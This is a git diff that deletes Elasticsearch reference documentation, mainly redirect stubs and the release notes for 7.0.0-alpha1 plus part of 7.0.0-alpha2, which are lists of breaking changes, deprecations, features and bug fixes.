-[role="exclude",id="request-body-search-track-total-hits"]
-==== Track total hits
-
-See <<track-total-hits>>.
-
-[role="exclude",id="_notes_3"]
-=== Joining queries notes
-
-See <<joining-queries-notes>>.
-
-[role="exclude",id="_notes_4"]
-=== Percolate query notes
-
-See <<percolate-query-notes>>.
-
-[role="exclude",id="constant-keyword"]
-=== Constant keyword field type
-
-See <<constant-keyword-field-type>>.
-
-[role="exclude",id="wildcard"]
-=== Wildcard field type
-
-See <<wildcard-field-type>>.
-
-[role="exclude",id="searchable-snapshots-api-clear-cache"]
-=== Clear cache API
-
-We have removed documentation for this API. This a low-level API used to clear
-the searchable snapshot cache. We plan to remove or drastically change this API
-as part of a future release.
-
-For other searchable snapshot APIs, see <<searchable-snapshots-apis>>.
-
-[role="exclude",id="searchable-snapshots-api-stats"]
-=== Searchable snapshot statistics API
-
-We have removed documentation for this API. This a low-level API used to get
-information about searchable snapshot indices. We plan to remove or drastically
-change this API as part of a future release.
-
-For other searchable snapshot APIs, see <<searchable-snapshots-apis>>.
-
-[role="exclude",id="searchable-snapshots-repository-stats"]
-=== Searchable snapshot repository statistics API
-
-We have removed documentation for this API. This a low-level API used to get
-information about searchable snapshot indices. We plan to remove or drastically
-change this API as part of a future release.
-
-For other searchable snapshot APIs, see <<searchable-snapshots-apis>>.
-
-[role="exclude",id="point-in-time"]
-=== Point in time API
-
-See <<point-in-time-api>>.
-
-[role="exclude",id="avoid-oversharding"]
-=== Avoid oversharding
-
-See <<size-your-shards>>.
-
-[role="exclude",id="_parameters_8"]
-=== elasticsearch-croneval parameters
-
-See <<elasticsearch-croneval-parameters>>.
-
-[role="exclude",id="caching-heavy-aggregations"]
-=== Caching heavy aggregations
-
-See <<agg-caches>>.
-
-[role="exclude",id="returning-only-agg-results"]
-=== Returning only aggregation results
-
-See <<return-only-agg-results>>.
-
-[role="exclude",id="agg-metadata"]
-=== Aggregation metadata
-
-See <<add-metadata-to-an-agg>>.
-
-[role="exclude",id="returning-aggregation-type"]
-=== Returning the type of the aggregation
-
-See <<return-agg-type>>.
-
-[role="exclude",id="indexing-aggregation-results"]
-=== Indexing aggregation results with transforms
-
-See <<transforms>>.
-
-[role="exclude",id="search-aggregations-matrix"]
-=== Matrix aggregations
-
-See <<search-aggregations-matrix-stats-aggregation>>.
-
-[role="exclude",id="fielddata"]
-=== `fielddata` mapping parameter
-
-See <<fielddata-mapping-param>>.
diff --git a/docs/reference/release-notes.asciidoc b/docs/reference/release-notes.asciidoc
deleted file mode 100644
index cc816a25b8f..00000000000
--- a/docs/reference/release-notes.asciidoc
+++ /dev/null
@@ -1,60 +0,0 @@
-[[es-release-notes]]
-= Release notes
-
-[partintro]
---
-
-This section summarizes the changes in each release.
-
-* <<release-notes-7.10.2>>
-* <<release-notes-7.10.1>>
-* <<release-notes-7.10.0>>
-* <<release-notes-7.9.3>>
-* <<release-notes-7.9.2>>
-* <<release-notes-7.9.1>>
-* <<release-notes-7.9.0>>
-* <<release-notes-7.8.1>>
-* <<release-notes-7.8.0>>
-* <<release-notes-7.7.1>>
-* <<release-notes-7.7.0>>
-* <<release-notes-7.6.2>>
-* <<release-notes-7.6.1>>
-* <<release-notes-7.6.0>>
-* <<release-notes-7.5.2>>
-* <<release-notes-7.5.1>>
-* <<release-notes-7.5.0>>
-* <<release-notes-7.4.2>>
-* <<release-notes-7.4.1>>
-* <<release-notes-7.4.0>>
-* <<release-notes-7.3.2>>
-* <<release-notes-7.3.1>>
-* <<release-notes-7.3.0>>
-* <<release-notes-7.2.1>>
-* <<release-notes-7.2.0>>
-* <<release-notes-7.1.1>>
-* <<release-notes-7.1.0>>
-* <<release-notes-7.0.0>>
-* <<release-notes-7.0.0-rc2>>
-* <<release-notes-7.0.0-rc1>>
-* <<release-notes-7.0.0-beta1>>
-* <<release-notes-7.0.0-alpha2>>
-* <<release-notes-7.0.0-alpha1>>
-
---
-
-include::release-notes/7.10.asciidoc[]
-include::release-notes/7.9.asciidoc[]
-include::release-notes/7.8.asciidoc[]
-include::release-notes/7.7.asciidoc[]
-include::release-notes/7.6.asciidoc[]
-include::release-notes/7.5.asciidoc[]
-include::release-notes/7.4.asciidoc[]
-include::release-notes/7.3.asciidoc[]
-include::release-notes/7.2.asciidoc[]
-include::release-notes/7.1.asciidoc[]
-include::release-notes/7.0.asciidoc[]
-include::release-notes/7.0.0-rc2.asciidoc[]
-include::release-notes/7.0.0-rc1.asciidoc[]
-include::release-notes/7.0.0-beta1.asciidoc[]
-include::release-notes/7.0.0-alpha2.asciidoc[]
-include::release-notes/7.0.0-alpha1.asciidoc[]
diff --git a/docs/reference/release-notes/7.0.0-alpha1.asciidoc b/docs/reference/release-notes/7.0.0-alpha1.asciidoc
deleted file mode 100644
index 6584025c34a..00000000000
--- a/docs/reference/release-notes/7.0.0-alpha1.asciidoc
+++ /dev/null
@@ -1,459 +0,0 @@
-[[release-notes-7.0.0-alpha1]]
-== {es} version 7.0.0-alpha1
-
-The changes listed below have been released for the first time in Elasticsearch 7.0.0-alpha1.
-
-[[breaking-7.0.0-alpha1]]
-[discrete]
-=== Breaking changes
-
-Aggregations::
-* Remove support for deprecated params._agg/_aggs for scripted metric aggregations {es-pull}32979[#32979] (issues: {es-issue}29328[#29328], {es-issue}31597[#31597])
-* Percentile/Ranks should return null instead of NaN when empty {es-pull}30460[#30460] (issue: {es-issue}29066[#29066])
-* Render sum as zero if count is zero for stats aggregation {es-pull}27193[#27193] (issue: {es-issue}26893[#26893])
-
-Analysis::
-* Remove `delimited_payload_filter` {es-pull}27705[#27705] (issues: {es-issue}26625[#26625], {es-issue}27704[#27704])
-* Limit the number of tokens produced by _analyze {es-pull}27529[#27529] (issue: {es-issue}27038[#27038])
-* Add limits for ngram and shingle settings {es-pull}27211[#27211] (issue: {es-issue}25887[#25887])
-
-Audit::
-* Logfile auditing settings remove after deprecation  {es-pull}35205[#35205]
-
-Authentication::
-* Security: remove wrapping in put user response {es-pull}33512[#33512] (issue: {es-issue}32332[#32332])
-
-Authorization::
-* Remove aliases resolution limitations when security is enabled {es-pull}31952[#31952] (issue: {es-issue}31516[#31516])
-
-CRUD::
-* Version conflict exception message enhancement {es-pull}29432[#29432] (issue: {es-issue}21278[#21278])
-* Using ObjectParser in UpdateRequest {es-pull}29293[#29293] (issue: {es-issue}28740[#28740])
-
-Distributed::
-* Remove undocumented action.master.force_local setting {es-pull}29351[#29351]
-* Remove tribe node support {es-pull}28443[#28443]
-* Forbid negative values for index.unassigned.node_left.delayed_timeout {es-pull}26828[#26828]
-
-Features/Indices APIs::
-* Indices Exists API should return 404 for empty wildcards {es-pull}34499[#34499]
-* Default to one shard {es-pull}30539[#30539]
-* Limit the number of nested documents {es-pull}27405[#27405] (issue: {es-issue}26962[#26962])
-
-Features/Ingest::
-* INGEST: Add Configuration Except. Data to Metdata {es-pull}32322[#32322] (issue: {es-issue}27728[#27728])
-
-Features/Stats::
-* Remove the suggest metric from stats APIs {es-pull}29635[#29635] (issue: {es-issue}29589[#29589])
-* Align cat thread pool info to thread pool config {es-pull}29195[#29195] (issue: {es-issue}29123[#29123])
-* Align thread pool info to thread pool configuration {es-pull}29123[#29123] (issue: {es-issue}29113[#29113])
-
-Geo::
-* Use geohash cell instead of just a corner in geo_bounding_box {es-pull}30698[#30698] (issue: {es-issue}25154[#25154])
-
-Infra/Circuit Breakers::
-* Introduce durability of circuit breaking exception {es-pull}34460[#34460] (issue: {es-issue}31986[#31986])
-* Circuit-break based on real memory usage {es-pull}31767[#31767]
-
-Infra/Core::
-* Core: Default node.name to the hostname {es-pull}33677[#33677]
-* Remove bulk fallback for write thread pool {es-pull}29609[#29609]
-* CCS: Drop http address from remote cluster info {es-pull}29568[#29568] (issue: {es-issue}29207[#29207])
-* Remove the index thread pool {es-pull}29556[#29556]
-* Main response should not have status 503 when okay {es-pull}29045[#29045] (issue: {es-issue}8902[#8902])
-* Automatically prepare indices for splitting {es-pull}27451[#27451]
-* Don't refresh on `_flush` `_force_merge` and `_upgrade` {es-pull}27000[#27000] (issue: {es-issue}26972[#26972])
-
-Infra/Packaging::
-* Packaging: Remove windows bin files from the tar distribution {es-pull}30596[#30596]
-
-Infra/REST API::
-* REST: Remove GET support for clear cache indices {es-pull}29525[#29525]
-* REST : Clear Indices Cache API remove deprecated url params {es-pull}29068[#29068]
-
-Infra/Scripting::
-* Remove support for deprecated StoredScript contexts {es-pull}31394[#31394] (issues: {es-issue}27612[#27612], {es-issue}28939[#28939])
-* Scripting: Remove getDate methods from ScriptDocValues {es-pull}30690[#30690]
-* Handle missing and multiple values in script {es-pull}29611[#29611] (issue: {es-issue}29286[#29286])
-* Drop `ScriptDocValues#date` and `ScriptDocValues#dates` in 7.0.0 [ISSUE] {es-pull}23008[#23008]
-
-Infra/Settings::
-* Remove config prompting for secrets and text {es-pull}27216[#27216]
-
-Mapping::
-* Match phrase queries against non-indexed fields should throw an exception {es-pull}31060[#31060]
-* Remove legacy mapping code. {es-pull}29224[#29224]
-* Reject updates to the `_default_` mapping. {es-pull}29165[#29165] (issues: {es-issue}15613[#15613], {es-issue}28248[#28248])
-* Remove the `update_all_types` option. {es-pull}28288[#28288]
-* Remove the `_default_` mapping. {es-pull}28248[#28248]
-* Reject the `index_options` parameter for numeric fields {es-pull}26668[#26668] (issue: {es-issue}21475[#21475])
-
-Network::
-* Network: Remove http.enabled setting {es-pull}29601[#29601] (issue: {es-issue}12792[#12792])
-* Remove HTTP max content length leniency {es-pull}29337[#29337]
-
-Percolator::
-* remove deprecated percolator map_unmapped_fields_as_string setting {es-pull}28060[#28060]
-
-Ranking::
-* Add minimal sanity checks to custom/scripted similarities. {es-pull}33564[#33564] (issue: {es-issue}33309[#33309])
-* Scroll queries asking for rescore are considered invalid {es-pull}32918[#32918] (issue: {es-issue}31775[#31775])
-
-Search::
-* Remove deprecated url parameters `_source_include` and `_source_exclude` {es-pull}35097[#35097] (issues: {es-issue}22792[#22792], {es-issue}33475[#33475])
-* Disallow negative query boost {es-pull}34486[#34486] (issue: {es-issue}33309[#33309])
-* Forbid negative `weight` in Function Score Query {es-pull}33390[#33390] (issue: {es-issue}31927[#31927])
-* In the field capabilities API, remove support for providing fields in the request body. {es-pull}30185[#30185]
-* Remove deprecated options for query_string {es-pull}29203[#29203] (issue: {es-issue}25551[#25551])
-* Fix Laplace scorer to multiply by alpha (and not add) {es-pull}27125[#27125]
-* Remove _primary and _replica shard preferences {es-pull}26791[#26791] (issue: {es-issue}26335[#26335])
-* Limit the number of expanded fields it query_string and simple_query_string {es-pull}26541[#26541] (issue: {es-issue}25105[#25105])
-* Make purely negative queries return scores of 0. {es-pull}26015[#26015] (issue: {es-issue}23449[#23449])
-
-Snapshot/Restore::
-* Include size of snapshot in snapshot metadata  {es-pull}30890[#30890] (issue: {es-issue}18543[#18543])
-* Remove azure deprecated settings {es-pull}26099[#26099] (issue: {es-issue}23405[#23405])
-
-Store::
-* drop elasticsearch-translog for 7.0 {es-pull}33373[#33373] (issues: {es-issue}31389[#31389], {es-issue}32281[#32281])
-* completely drop `index.shard.check_on_startup: fix` for 7.0 {es-pull}33194[#33194]
-
-Suggesters::
-* Fix threshold frequency computation in Suggesters {es-pull}34312[#34312] (issue: {es-issue}34282[#34282])
-* Make Geo Context Mapping Parsing More Strict {es-pull}32821[#32821] (issues: {es-issue}32202[#32202], {es-issue}32412[#32412])
-*  Make Geo Context Parsing More Strict {es-pull}32412[#32412] (issue: {es-issue}32202[#32202])
-* Remove the ability to index or query context suggestions without context {es-pull}31007[#31007] (issue: {es-issue}30712[#30712])
-
-
-
-[[breaking-java-7.0.0-alpha1]]
-[discrete]
-=== Breaking Java changes
-
-Aggregations::
-* Change GeoHashGrid.Bucket#getKey() to return String {es-pull}31748[#31748] (issue: {es-issue}30320[#30320])
-
-Analysis::
-* Remove deprecated AnalysisPlugin#requriesAnalysisSettings method {es-pull}32037[#32037] (issue: {es-issue}32025[#32025])
-
-Features/Java High Level REST Client::
-* API: Drop deprecated methods from Retry {es-pull}33925[#33925]
-* REST hl client: cluster health to default to cluster level {es-pull}31268[#31268] (issue: {es-issue}29331[#29331])
-* REST high-level Client: remove deprecated API methods {es-pull}31200[#31200] (issue: {es-issue}31069[#31069])
-
-Features/Java Low Level REST Client::
-* LLREST: Drop deprecated methods {es-pull}33223[#33223] (issues: {es-issue}29623[#29623], {es-issue}30315[#30315])
-
-Geo::
-* [Geo] Decouple geojson parse logic from ShapeBuilders {es-pull}27212[#27212]
-
-Infra/Core::
-* Core: Remove RequestBuilder from Action {es-pull}30966[#30966]
-
-Infra/Transport API::
-* Java api clean up: remove deprecated `isShardsAcked` {es-pull}28311[#28311] (issues: {es-issue}27784[#27784], {es-issue}27819[#27819])
-
-[[deprecation-7.0.0-alpha1]]
-[discrete]
-=== Deprecations
-
-Analysis::
-* Replace parameter unicodeSetFilter with unicode_set_filter  {es-pull}29215[#29215] (issue: {es-issue}22823[#22823])
-* Replace delimited_payload_filter by delimited_payload {es-pull}26625[#26625] (issue: {es-issue}21978[#21978])
-
-Features/Indices APIs::
-* Default copy settings to true and deprecate on the REST layer {es-pull}30598[#30598]
-
-Infra/Transport API::
-* Deprecate the transport client in favour of the high-level REST client {es-pull}27085[#27085]
-
-Mapping::
-* Deprecate type exists requests. {es-pull}34663[#34663]
-
-Search::
-* Deprecate filtering on `_type`. {es-pull}29468[#29468] (issue: {es-issue}15613[#15613])
-
-
-
-[[feature-7.0.0-alpha1]]
-[discrete]
-=== New features
-
-Analysis::
-* Relax TermVectors API to work with textual fields other than TextFieldType {es-pull}31915[#31915] (issue: {es-issue}31902[#31902])
-
-CCR::
-* Generalize search.remote settings to cluster.remote {es-pull}33413[#33413]
-
-Distributed::
-* log messages from allocation commands {es-pull}25955[#25955] (issues: {es-issue}22821[#22821], {es-issue}25325[#25325])
-
-Features/Ingest::
-* Revert "Introduce a Hashing Processor (#31087)" {es-pull}32178[#32178]
-* Add ingest-attachment support for per document `indexed_chars` limit {es-pull}28977[#28977] (issue: {es-issue}28942[#28942])
-
-Features/Java High Level REST Client::
-* GraphClient for the high level REST client and associated tests {es-pull}32366[#32366]
-
-Features/Monitoring::
-* [Elasticsearch Monitoring] Collect only display_name (for now) {es-pull}35265[#35265] (issue: {es-issue}8445[#8445])
-
-Infra/Core::
-* Skip shard refreshes if shard is `search idle` {es-pull}27500[#27500]
-
-Infra/Logging::
-* Logging: Unify log rotation for index/search slow log {es-pull}27298[#27298]
-
-Infra/Plugins::
-* Reload secure settings for plugins {es-pull}31383[#31383] (issue: {es-issue}29135[#29135])
-
-Infra/REST API::
-* Add an `include_type_name` option. {es-pull}29453[#29453] (issue: {es-issue}15613[#15613])
-
-Machine Learning::
-* [ML] Filter undefined job groups from update job calendar actions {es-pull}30757[#30757]
-
-Mapping::
-* Add a `feature_vector` field. {es-pull}31102[#31102] (issue: {es-issue}27552[#27552])
-* Expose Lucene's FeatureField. {es-pull}30618[#30618]
-
-Ranking::
-* Add ranking evaluation API {es-pull}27478[#27478] (issue: {es-issue}19195[#19195])
-
-Recovery::
-* Allow to trim all ops above a certain seq# with a term lower than X, … {es-pull}31211[#31211] (issue: {es-issue}10708[#10708])
-
-SQL::
-* SQL: Add basic support for ST_AsWKT geo function {es-pull}34205[#34205]
-* SQL: Add support for SYS GEOMETRY_COLUMNS {es-pull}30496[#30496] (issue: {es-issue}29872[#29872])
-
-Search::
-* Add “took” timing info to response for _msearch/template API {es-pull}30961[#30961] (issue: {es-issue}30957[#30957])
-* Expose the lucene Matches API to searches [ISSUE] {es-pull}29631[#29631]
-* Add allow_partial_search_results flag to search requests with default setting true {es-pull}28440[#28440] (issue: {es-issue}27435[#27435])
-* Enable adaptive replica selection by default {es-pull}26522[#26522] (issue: {es-issue}24915[#24915])
-
-Suggesters::
-* serialize suggestion responses as named writeables {es-pull}30284[#30284] (issue: {es-issue}26585[#26585])
-
-
-
-[[enhancement-7.0.0-alpha1]]
-[discrete]
-=== Enhancements
-
-Aggregations::
-* Uses MergingDigest instead of AVLDigest in percentiles agg {es-pull}28702[#28702] (issue: {es-issue}19528[#19528])
-
-Discovery-Plugins::
-* Rename discovery.zen.minimum_master_nodes [ISSUE] {es-pull}14058[#14058]
-
-Engine::
-* Remove versionType from translog {es-pull}31945[#31945]
-*  do retry if primary fails on AsyncAfterWriteAction {es-pull}31857[#31857] (issues: {es-issue}31716[#31716], {es-issue}31755[#31755])
-* handle AsyncAfterWriteAction exception before listener is registered {es-pull}31755[#31755] (issue: {es-issue}31716[#31716])
-* Use IndexWriter#flushNextBuffer to free memory {es-pull}27753[#27753]
-* Remove pre 6.0.0 support from InternalEngine {es-pull}27720[#27720]
-
-Features/Indices APIs::
-*  Add cluster-wide shard limit {es-pull}32856[#32856] (issue: {es-issue}20705[#20705])
-* Remove RestGetAllAliasesAction {es-pull}31308[#31308] (issue: {es-issue}31129[#31129])
-* Add rollover-creation-date setting to rolled over index {es-pull}31144[#31144] (issue: {es-issue}30887[#30887])
-* add is-write-index flag to aliases {es-pull}30942[#30942]
-* Make index and bulk APIs work without types. {es-pull}29479[#29479]
-
-Features/Ingest::
-* ingest: Add ignore_missing property to foreach filter (#22147) {es-pull}31578[#31578] (issue: {es-issue}22147[#22147])
-
-Features/Java High Level REST Client::
-* HLRC API for _termvectors {es-pull}32610[#32610] (issue: {es-issue}27205[#27205])
-
-Features/Stats::
-* Stats to record how often the ClusterState diff mechanism is used successfully {es-pull}26973[#26973]
-
-Features/Watcher::
-* Watcher: Validate email adresses when storing a watch {es-pull}34042[#34042] (issue: {es-issue}33980[#33980])
-
-Infra/Circuit Breakers::
-* Have circuit breaker succeed on unknown mem usage {es-pull}33125[#33125] (issue: {es-issue}31767[#31767])
-* Account for XContent overhead in in-flight breaker {es-pull}31613[#31613]
-* Script Stats: Add compilation limit counter to stats {es-pull}26387[#26387]
-
-Infra/Core::
-* Add RunOnce utility class that executes a Runnable exactly once {es-pull}35484[#35484]
-* Improved IndexNotFoundException's default error message {es-pull}34649[#34649] (issue: {es-issue}34628[#34628])
-* Set a bounded default for http.max_warning_header_count [ISSUE] {es-pull}33479[#33479]
-
-Infra/Packaging::
-* Choose JVM options ergonomically {es-pull}30684[#30684]
-
-Infra/REST API::
-* Remove hand-coded XContent duplicate checks {es-pull}34588[#34588] (issues: {es-issue}22073[#22073], {es-issue}22225[#22225], {es-issue}22253[#22253])
-* Add the `include_type_name` option to the search and document APIs. {es-pull}29506[#29506] (issue: {es-issue}15613[#15613])
-* Validate `op_type` for `_create` {es-pull}27483[#27483]
-
-Infra/Scripting::
-* Tests: Add support for custom contexts to mock scripts {es-pull}34100[#34100]
-* Scripting: Reflect factory signatures in painless classloader {es-pull}34088[#34088]
-* Handle missing values in painless {es-pull}32207[#32207] (issue: {es-issue}29286[#29286])
-
-Infra/Settings::
-* Settings: Add keystore creation to add commands {es-pull}26126[#26126]
-
-Infra/Transport API::
-* Change BWC version for VerifyRepositoryResponse {es-pull}30796[#30796] (issue: {es-issue}30762[#30762])
-
-Network::
-* Add cors support to NioHttpServerTransport {es-pull}30827[#30827] (issue: {es-issue}28898[#28898])
-* Reintroduce mandatory http pipelining support {es-pull}30820[#30820]
-* Make http pipelining support mandatory {es-pull}30695[#30695] (issues: {es-issue}28898[#28898], {es-issue}29500[#29500])
-* Add nio http server transport {es-pull}29587[#29587] (issue: {es-issue}28898[#28898])
-* Add class for serializing message to bytes {es-pull}29384[#29384] (issue: {es-issue}28898[#28898])
-* Selectors operate on channel contexts {es-pull}28468[#28468] (issue: {es-issue}27260[#27260])
-* Unify nio read / write channel contexts {es-pull}28160[#28160] (issue: {es-issue}27260[#27260])
-* Create nio-transport plugin for NioTransport {es-pull}27949[#27949] (issue: {es-issue}27260[#27260])
-* Add elasticsearch-nio jar for base nio classes {es-pull}27801[#27801] (issue: {es-issue}27802[#27802])
-
-Ranking::
-* Add k parameter to PrecisionAtK metric {es-pull}27569[#27569]
-
-SQL::
-* SQL: Introduce support for NULL values {es-pull}34573[#34573] (issue: {es-issue}32079[#32079])
-
-Search::
-* Make limit on number of expanded fields configurable {es-pull}35284[#35284] (issues: {es-issue}26541[#26541], {es-issue}34778[#34778])
-* Search: Simply SingleFieldsVisitor {es-pull}34052[#34052]
-* Don't count hits via the collector if the hit count can be computed from index stats. {es-pull}33701[#33701]
-* Limit the number of concurrent requests per node {es-pull}31206[#31206] (issue: {es-issue}31192[#31192])
-* Default max concurrent search req. numNodes * 5 {es-pull}31171[#31171] (issues: {es-issue}30783[#30783], {es-issue}30994[#30994])
-* Change ScriptException status to 400 (bad request) {es-pull}30861[#30861] (issue: {es-issue}12315[#12315])
-* Change default value to true for transpositions parameter of fuzzy query {es-pull}26901[#26901]
-* Introducing "took" time (in ms) for `_msearch` {es-pull}23767[#23767] (issue: {es-issue}23131[#23131])
-
-Snapshot/Restore::
-* #31608 Add S3 Setting to Force Path Type Access {es-pull}34721[#34721] (issue: {es-issue}31608[#31608])
-
-Store::
-* add RemoveCorruptedShardDataCommand {es-pull}32281[#32281] (issues: {es-issue}31389[#31389], {es-issue}32279[#32279])
-
-ZenDiscovery::
-* [Zen2] Introduce vote withdrawal {es-pull}35446[#35446]
-* Zen2: Add basic Zen1 transport-level BWC {es-pull}35443[#35443]
-* Zen2: Add diff-based publishing {es-pull}35290[#35290]
-* [Zen2] Introduce auto_shrink_voting_configuration setting {es-pull}35217[#35217]
-* Introduce transport API for cluster bootstrapping {es-pull}34961[#34961]
-* [Zen2] Reconfigure cluster as its membership changes {es-pull}34592[#34592] (issue: {es-issue}33924[#33924])
-* Zen2: Fail fast on disconnects {es-pull}34503[#34503]
-* [Zen2] Add storage-layer disruptions to CoordinatorTests {es-pull}34347[#34347]
-* [Zen2] Add low-level bootstrap implementation {es-pull}34345[#34345]
-* [Zen2] Gather votes from all nodes {es-pull}34335[#34335]
-* Zen2: Add Cluster State Applier {es-pull}34257[#34257]
-* [Zen2] Add safety phase to CoordinatorTests {es-pull}34241[#34241]
-* [Zen2] Integrate FollowerChecker with Coordinator {es-pull}34075[#34075]
-* Integrate LeaderChecker with Coordinator {es-pull}34049[#34049]
-* Zen2: Trigger join when active master detected {es-pull}34008[#34008]
-* Zen2: Update PeerFinder term on term bump {es-pull}33992[#33992]
-* [Zen2] Calculate optimal cluster configuration {es-pull}33924[#33924]
-* [Zen2] Introduce FollowersChecker {es-pull}33917[#33917]
-* Zen2: Integrate publication pipeline into Coordinator {es-pull}33771[#33771]
-* Zen2: Add DisruptableMockTransport {es-pull}33713[#33713]
-* [Zen2] Implement basic cluster formation {es-pull}33668[#33668]
-* [Zen2] Introduce LeaderChecker {es-pull}33024[#33024]
-* Zen2: Add leader-side join handling logic {es-pull}33013[#33013]
-* [Zen2] Add PeerFinder#onFoundPeersUpdated {es-pull}32939[#32939]
-* [Zen2] Introduce PreVoteCollector {es-pull}32847[#32847]
-* [Zen2] Introduce ElectionScheduler {es-pull}32846[#32846]
-* [Zen2] Introduce ElectionScheduler {es-pull}32709[#32709]
-* [Zen2] Add HandshakingTransportAddressConnector {es-pull}32643[#32643] (issue: {es-issue}32246[#32246])
-* [Zen2] Add UnicastConfiguredHostsResolver {es-pull}32642[#32642] (issue: {es-issue}32246[#32246])
-* Zen2: Cluster state publication pipeline {es-pull}32584[#32584] (issue: {es-issue}32006[#32006])
-* [Zen2] Introduce gossip-like discovery of master nodes {es-pull}32246[#32246]
-* Add core coordination algorithm for cluster state publishing  {es-pull}32171[#32171] (issue: {es-issue}32006[#32006])
-* Add term and config to cluster state {es-pull}32100[#32100] (issue: {es-issue}32006[#32006])
-
-
-
-[[bug-7.0.0-alpha1]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* Fix InternalAutoDateHistogram reproducible failure {es-pull}32723[#32723] (issue: {es-issue}32215[#32215])
-
-Analysis::
-* Close #26771: beider_morse phonetic encoder failure when languageset unspecified  {es-pull}26848[#26848] (issue: {es-issue}26771[#26771])
-
-Authorization::
-* Empty GetAliases authorization fix {es-pull}34444[#34444] (issue: {es-issue}31952[#31952])
-
-Docs Infrastructure::
-* Docs build fails due to missing nexus.png [ISSUE] {es-pull}33101[#33101]
-
-Features/Indices APIs::
-* Validate top-level keys for create index request (#23755) {es-pull}23869[#23869] (issue: {es-issue}23755[#23755])
-
-Features/Ingest::
-* INGEST: Fix Deprecation Warning in Script Proc. {es-pull}32407[#32407]
-
-Features/Java High Level REST Client::
-* HLRC: Drop extra level from user parser {es-pull}34932[#34932]
-
-Features/Java Low Level REST Client::
-* Remove I/O pool blocking sniffing call from onFailure callback, add some logic around host exclusion {es-pull}27985[#27985] (issue: {es-issue}27984[#27984])
-
-Features/Watcher::
-* Watcher: Ignore system locale/timezone in croneval CLI tool {es-pull}33215[#33215]
-
-Geo::
-* [build] Test `GeoShapeQueryTests#testPointsOnly` fails  [ISSUE] {es-pull}27454[#27454]
-
-Infra/Core::
-* Ensure shard is refreshed once it's inactive {es-pull}27559[#27559] (issue: {es-issue}27500[#27500])
-
-Infra/Settings::
-* Change format how settings represent lists / array {es-pull}26723[#26723]
-
-Infra/Transport API::
-* Remove version read/write logic in Verify Response {es-pull}30879[#30879] (issue: {es-issue}30807[#30807])
-* Enable muted Repository test {es-pull}30875[#30875] (issue: {es-issue}30807[#30807])
-* Bad regex in CORS settings should throw a nicer error {es-pull}29108[#29108]
-
-License::
-* Update versions for start_trial after backport {es-pull}30218[#30218] (issue: {es-issue}30135[#30135])
-
-Mapping::
-* Ensure that field aliases cannot be used in multi-fields. {es-pull}32219[#32219]
-
-Network::
-* Adjust SSLDriver behavior for JDK11 changes {es-pull}32145[#32145] (issues: {es-issue}32122[#32122], {es-issue}32144[#32144])
-* Netty4SizeHeaderFrameDecoder error {es-pull}31057[#31057]
-* Fix memory leak in http pipelining {es-pull}30815[#30815] (issue: {es-issue}30801[#30801])
-* Fix issue with finishing handshake in ssl driver {es-pull}30580[#30580]
-
-Search::
-* Ensure realtime `_get` and `_termvectors` don't run on the network thread {es-pull}33814[#33814] (issue: {es-issue}27500[#27500])
-* [bug] fuzziness custom auto {es-pull}33462[#33462] (issue: {es-issue}33454[#33454])
-* Fix inner hits retrieval when stored fields are disabled (_none_) {es-pull}33018[#33018] (issue: {es-issue}32941[#32941])
-* Set maxScore for empty TopDocs to Nan rather than 0 {es-pull}32938[#32938]
-* Handle leniency for cross_fields type in multi_match query {es-pull}27045[#27045] (issue: {es-issue}23210[#23210])
-* Raise IllegalArgumentException instead if query validation failed {es-pull}26811[#26811] (issue: {es-issue}26799[#26799])
-
-Security::
-* Handle 6.4.0+ BWC for Application Privileges {es-pull}32929[#32929]
-
-ZenDiscovery::
-* [Zen2] Remove duplicate discovered peers {es-pull}35505[#35505]
-
-
-[[upgrade-7.0.0-alpha1]]
-[discrete]
-=== Upgrades
-
-Geo::
-* Upgrade JTS to 1.14.0 {es-pull}29141[#29141] (issue: {es-issue}29122[#29122])
-
-Infra/Core::
-* Upgrade to a Lucene 8 snapshot {es-pull}33310[#33310] (issues: {es-issue}32899[#32899], {es-issue}33028[#33028], {es-issue}33309[#33309])
-
-Network::
-* NETWORKING: Fix Netty Leaks by upgrading to 4.1.28 {es-pull}32511[#32511] (issue: {es-issue}32487[#32487])
diff --git a/docs/reference/release-notes/7.0.0-alpha2.asciidoc b/docs/reference/release-notes/7.0.0-alpha2.asciidoc
deleted file mode 100644
index d9b23c9aad9..00000000000
--- a/docs/reference/release-notes/7.0.0-alpha2.asciidoc
+++ /dev/null
@@ -1,585 +0,0 @@
-[[release-notes-7.0.0-alpha2]]
-== {es} version 7.0.0-alpha2
-
-[[breaking-7.0.0-alpha2]]
-[discrete]
-=== Breaking changes
-
-Authentication::
-* Enhance Invalidate Token API {es-pull}35388[#35388] (issues: {es-issue}34556[#34556], {es-issue}35115[#35115])
-
-Circuit Breakers::
-* Lower fielddata circuit breaker's default limit {es-pull}27162[#27162] (issue: {es-issue}27130[#27130])
-
-CCR::
-* Change get autofollow patterns API response format {es-pull}36203[#36203] (issue: {es-issue}36049[#36049])
-
-Index APIs::
-* Always enforce cluster-wide shard limit {es-pull}34892[#34892] (issues: {es-issue}20705[#20705], {es-issue}34021[#34021])
-
-Ranking::
-* Forbid negative scores in function_score query {es-pull}35709[#35709] (issue: {es-issue}33309[#33309])
-
-Scripting::
-* Delete deprecated getValues from ScriptDocValues {es-pull}36183[#36183] (issue: {es-issue}22919[#22919])
-
-Search::
-* Remove the deprecated _termvector endpoint. {es-pull}36131[#36131] (issues: {es-issue}36098[#36098], {es-issue}8484[#8484])
-* Remove deprecated Graph endpoints {es-pull}35956[#35956]
-* Validate metadata on `_msearch` {es-pull}35938[#35938] (issue: {es-issue}35869[#35869])
-* Make hits.total an object in the search response {es-pull}35849[#35849] (issue: {es-issue}33028[#33028])
-* Remove the distinction between query and filter context in QueryBuilders {es-pull}35354[#35354] (issue: {es-issue}35293[#35293])
-* Throw a parsing exception when boost is set in span_or query (#28390) {es-pull}34112[#34112] (issue: {es-issue}28390[#28390])
-
-ZenDiscovery::
-* Best-effort cluster formation if unconfigured {es-pull}36215[#36215]
-
-[[breaking-java-7.0.0-alpha2]]
-[discrete]
-=== Breaking Java changes
-
-ZenDiscovery::
-* Make node field in JoinRequest private {es-pull}36405[#36405]
-
-[[deprecation-7.0.0-alpha2]]
-[discrete]
-=== Deprecations
-
-Core::
-* Deprecate use of scientific notation in epoch time parsing {es-pull}36691[#36691]
-* Add backcompat for joda time formats {es-pull}36531[#36531]
-
-Machine Learning::
-* Deprecate X-Pack centric ML endpoints {es-pull}36315[#36315] (issue: {es-issue}35958[#35958])
-
-Mapping::
-* Deprecate types in index API {es-pull}36575[#36575] (issues: {es-issue}35190[#35190], {es-issue}35790[#35790])
